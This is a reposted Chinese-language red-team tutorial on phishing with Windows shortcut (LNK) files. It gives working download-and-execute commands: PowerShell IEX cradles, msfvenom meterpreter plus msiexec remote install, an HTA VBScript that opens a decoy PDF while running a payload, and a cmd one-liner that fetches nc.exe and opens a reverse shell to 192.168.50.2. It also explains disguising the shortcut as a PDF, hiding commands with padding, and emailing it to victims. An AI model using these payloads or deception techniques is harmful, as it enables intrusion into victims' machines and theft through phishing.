ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

钓鱼攻击之:Lnk 文件钓鱼

2022-08-01 23:03:21  阅读:242  来源: 互联网

标签:exe 钓鱼 攻击 nc 192.168 Lnk pdf 50.2


钓鱼攻击之:Lnk 文件钓鱼

目录

1 Lnk 钓鱼小试牛刀

  1. 利用技巧:

    1. 修改完成后,系统会自动根据所执行的程序更改图标,此时可以通过手动更改指定图标,让文件看起来无害。
  2. 创建一个Lnk(快捷方式)文件,然后修改它的目标地址如下:

    # powershell方式注入payload
    # 使用CS生成web投递:http://192.168.50.2:80/a
    powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.50.2:80/a'))"
    
    # 系统进程msiexec.exe是Windows Installer的一部分,利用此进程来加载我们shellcode还可以达到一定的规避作用。
    # 使用MSF生成payload,并提供下载:
    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.50.2 lport=4444 -f msi > shell.txt
    # 利用payload
    C:\Windows\System32\msiexec.exe /q /i http://192.168.50.2:8080/shell.txt
    
  3. 修改Lnk文件图标:推荐使用系统图标,避免当替换的图片在⽬标机器上不存在时,出现空⽩图标。可以在链接%SystemRoot%\System32\SHELL32.dll中查找。

    image-20220731080721068

  4. 诱使在目标系统上打开该快捷方式,即可成功上线

2 Lnk 图标处理

  1. 010 Editor下载地址:SweetScape Software Inc - 010 Editor - Pro Text/Hex Editor | Edit 200+ Formats | Reverse Engineering

  2. 首先生成一个正常的lnk文件

  3. 选择一个系统图标,在lnk文件中的变化主要体现在:

    1. ShellLinkHeaderLinkFlags结构体中的HasIconLocation标志位置为1;

      image-20220801222543271

    2. IconIndex为使用的icon在目标中的下标;

      image-20220801222744279.png

    3. 最后是紧接在COMMAND_LINE_ARGUMENTS后的ICON_LOCATION字段,lnk使用的icon所在的文件,本例中是%systemroot%\system32\shell32.dll

      image-20220801222920437

  4. 利用010 Editor修改lnk的icon_location标志位,修改为相关后缀,系统即可⾃动关联到对应的打开⽅式。以修改内容其修改为.\1.pdf(Unicode),其长度0x07为例:

    image-20220731100535770

  5. 修改后,其效果如下

    image-20220731100930088

  6. 要想修改lnk指向的应用程序工作在指定目录,可以在WORKING_DIR字段进行修改,如果要去除该字段,可以设置sLinkInfo字段中的HasWorkingDir为0,并删除WORKING_DIR字段,则lnk启动的程序工作目录将在当前窗口。

    image-20220801223323760

3 进阶利用方式

  • 当受害者中招打开我们的所谓的Lnk,实则为恶意的快捷⽅式时,双击两下,什么反应都没有,可能会有⼀丝疑惑,因此可以当尝试⽤powershell、mshta等⽅式上线时,我们可以更改如cobaltstrike⽣成的代码,加上⼀段⾃动下载打开⼀份真的文件,来达到逼真的效果。

3.1 PDF利用

  1. 生成 HTA 文件后门文件

    image-20220731180423584

  2. 右键编辑修改HTA文件

    # 在HTA文件执行Payload前添加如下语句
    Dim open_pdf
    Set open_pdf = CreateObject("Wscript.Shell")
    open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.50.2:8080/%E7%BA%AF%E6%B4%81%E7%9A%84pdf.pdf',$env:temp+'\纯洁的pdf.pdf');Start-Process $env:temp'\纯洁的pdf.pdf'", 0, true
    
    # 增加内容如下:
    <script language="VBScript">
    	Function var_func()
    		Dim var_shell
    		Dim open_pdf
    		Set open_pdf = CreateObject("Wscript.Shell")
    		Set var_shell = CreateObject("Wscript.Shell")
    		open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.50.2:8080/%E7%BA%AF%E6%B4%81%E7%9A%84pdf.pdf',$env:temp+'\纯洁的pdf.pdf');Start-Process $env:temp'\纯洁的pdf.pdf'", 0, true
    		var_shell.run "powershell -nop -w hidden -encodedcommand ... payload", 0, true
    	End Function
    
    	var_func
    	self.close
    </script>
    
    • 纯洁的pdf.pdf为正常的PDF文档,是双击快捷方式后打开的那个正常的文档。
  3. 生成HTA文件下载地址:http://192.168.50.2:1080/纯洁的pdf.pdf

    image-20220731122345063

  4. 新建一个指向%windir%\System32\mshta.exe的快捷方式,并更改其图标为%SystemRoot%\System32\SHELL32.dll中的一个

    image-20220731182209300

  5. 按照步骤3.2纯洁的pdf.pdf.lnk图标修改为.\1.pdf

  6. 更改纯洁的pdf.pdf.lnk参数为HTA下载地址:

    %windir%\System32\mshta.exe http://192.168.50.2:1080/纯洁的pdf.pdf
    

    image-20220731184755473

  7. 利用邮箱将纯洁的pdf.pdf.lnk发送到目标用户,之后双击该LNK文件,主机便会上线,而受害者会看到一正常的PDF文档:

    image-20220731190629278

  8. 还可以将纯洁的pdf.pdf.lnk与真实的PDF文档捆绑,使其文件大小看起来更具有迷惑性:

    copy /b 纯洁的pdf.pdf.lnk + 纯洁的pdf.pdf 纯洁的pdf.pdf2.lnk
    

    image-20220731192332539

3.2 txt利用,突破Lnk文件目标字符长度限制

  1. 软件下载:k8gege/Ladon: 大型内网渗透扫描器&Cobalt Strike,Ladon9.1.8内置160个模块,包含信息收集/存活主机/端口扫描/服务识别/密码爆破/漏洞检测/漏洞利用。漏洞检测含MS17010/SMBGhost/Weblogic/ActiveMQ/Tomcat/Struts2,密码口令爆破(Mysql/Oracle/MSSQL)/FTP/SSH(Linux)/VNC/Windows(IPC/WMI/SMB/Netbios/LDAP/SmbHash/WmiHash/Winrm),远程执行命令(smbexec/wmiexe/psexec/atexec/sshexec/webshell),降权提权Runas、GetSystem,Poc/Exploit,支持Cobalt Strike 3.X-4.0 (github.com)

  2. 完整的Payload如下:

    cmd.exe /c (echo "hello" >C:\Users\Public\passwd.txt & start /b C:\Users\Public\passwd.txt) & (powershell.exe -nop -w hidden iwr -outf C:\Users\Public\nc.exe http://192.168.50.2:80/nc.exe & C:\Users\Public\nc.exe ReverseTcp 192.168.50.2 2333 nc)
    
    • 上面这一串cmd命令的意思是把“hello"写入C:\Users\Public\password.txt,并打开这个文件,然后从外部服务器上下载nc.exe到C:\Users\Public目录下,并命名为nc.exe,最后执行"nc.exe ReverseTcp 192.168.50.2 2333 nc" 反弹shell到192.168.50.2上。
    • cmd /c :执行完命令后关闭命令窗口
    • 此处http://192.168.50.2:80/nc.exe实为Ladon.exe
  3. 新建一个指向%windir%\System32\cmd.exe的快捷方式,并更改其图标为%SystemRoot%\System32\SHELL32.dll中的一个

  4. 使用010 Editor修改Lnk文件

    1. 可以看到实际上COMMAND_LINE_ARGUMENTS的长度可以支持到16-bit大小(0xffff),修改成大于260的值。
    2. 然后在其后插入大于所增大字节数量(因为支持的是Unicode格式字符)的空白空间

    image-20220731231621609

  5. 重新加载Lnk文件,并重新在COMMAND_LINE_ARGUMENTS中写入Payload

    /c (echo "hello" >C:\Users\Public\passwd.txt & start /b C:\Users\Public\passwd.txt) & (powershell.exe -nop -w hidden iwr -outf C:\Users\Public\nc.exe http://192.168.50.2:80/nc.exe & C:\Users\Public\nc.exe ReverseTcp 192.168.50.2 2333 nc)
    
    • 也可以在COMMAND_LINE_ARGUMENTS字段范围中间加大量空格,最后末尾加上恶意命令,这样限于图形窗口中的260显示大小,可以一定程度上隐藏自身。
  6. 删除COMMAND_LINE_ARGUMENTSICON_LOCATION之间多余的空白空间,重新加载后可得以下内容

    image-20220731233149959

  7. 确认图标还是与之前的一样

    image-20220731233338638

  8. 在靶机上验证文件:双击执行文档,成功上线,并打开了文档

    image-20220731234517827

4 参考资料

  1. [原创]HW在即——红队活动之Lnk样本载荷篇-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com
  2. LNK善意利用 - Bl0od - 博客园 (cnblogs.com)

标签:exe,钓鱼,攻击,nc,192.168,Lnk,pdf,50.2
来源: https://www.cnblogs.com/f-carey/p/16542156.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有